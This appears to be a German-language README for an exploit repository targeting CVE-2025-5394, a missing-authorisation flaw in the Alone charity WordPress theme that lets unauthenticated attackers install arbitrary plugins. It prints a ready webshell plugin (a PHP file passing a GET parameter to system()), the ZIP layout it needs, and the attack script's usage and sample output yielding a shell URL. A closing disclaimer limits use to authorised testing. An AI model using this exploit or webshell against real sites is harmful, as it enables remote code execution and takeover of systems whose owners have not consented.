
Alone – Wohltätigkeits-Mehrzweck-Non-Profit WordPress-Theme <= 7.8.3 – Fehlende Autorisierung für nicht authentifizierten, beliebigen Datei-Upload über die Plugin-Installation
Alone – Charity Multipurpose Non-profit WordPress Theme Versionen: <= 7.8.3 CVE: CVE-2025-5394 CVSS-Score: 9.8 (Kritisch)
Das Alone Theme für WordPress ist anfällig für beliebige Datei-Uploads aufgrund einer fehlenden Berechtigungsprüfung in der Funktion alone_import_pack_install_plugin().
Diese Schwachstelle ermöglicht es nicht authentifizierten Angreifern, ZIP-Dateien (als Plugins getarnt) von entfernten Orten hochzuladen, was potenziell eine Remote-Code-Ausführung ermöglicht.
Dieses Repository enthält ein Python-Skript, das die Ausnutzung von CVE-2025-5394 automatisiert. Das Skript löst die anfällige AJAX-Aktion aus und lädt ein gefälschtes Plugin (mit einer Webshell) direkt auf den WordPress-Server hoch.
Die hochgeladene ZIP-Datei muss folgende Struktur aufweisen:
shell_plugin.zip
└── shell_plugin
└── shell_plugin.php
Wobei:
shell_plugin das Plugin-Verzeichnis ist.shell_plugin.php eine gültige PHP-Plugin-Datei mit einem Plugin-Header ist.Beispiel für einen minimalen Plugin-Header in shell_plugin.php:
<?php
/*
Plugin Name: Webshell
*/
system($_GET['cmd']);
?>
python3 CVE-2025-5394.py -help
usage: CVE-2025-5394.py [-h] -u URL -s SHELL
CVE-2025-5394 Exploit | by Khaled Alenazi (Nxploited)
options:
-h, --help show this help message and exit
-u, --url URL Target WordPress site URL
-s, --shell SHELL ZIP file URL containing webshell (.zip)
python3 CVE-2025-5394.py -u http://target.com/wordpress/ -s http://target.com/shell_plugin.zip
[>] Target : http://target.com/wordpress
[>] Shell URL : http://target.com/shell.php
[>] Plugin Slug : shell_plugin
[>] Sending exploit...
[+] Exploit successful
[+] Webshell URL : http://target.com/wordpress/wp-content/plugins/shell_plugin/shell_plugin.php
Dieses Skript wird nur für Bildungs- und Forschungszwecke bereitgestellt. Der Autor übernimmt keine Verantwortung für Missbrauch oder illegale Aktivitäten, die mit diesem Code durchgeführt werden. Verwenden Sie es nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche Testgenehmigung haben.
Nxploited ( Khaled Alenazi ) GitHub: https://github.com/Nxploited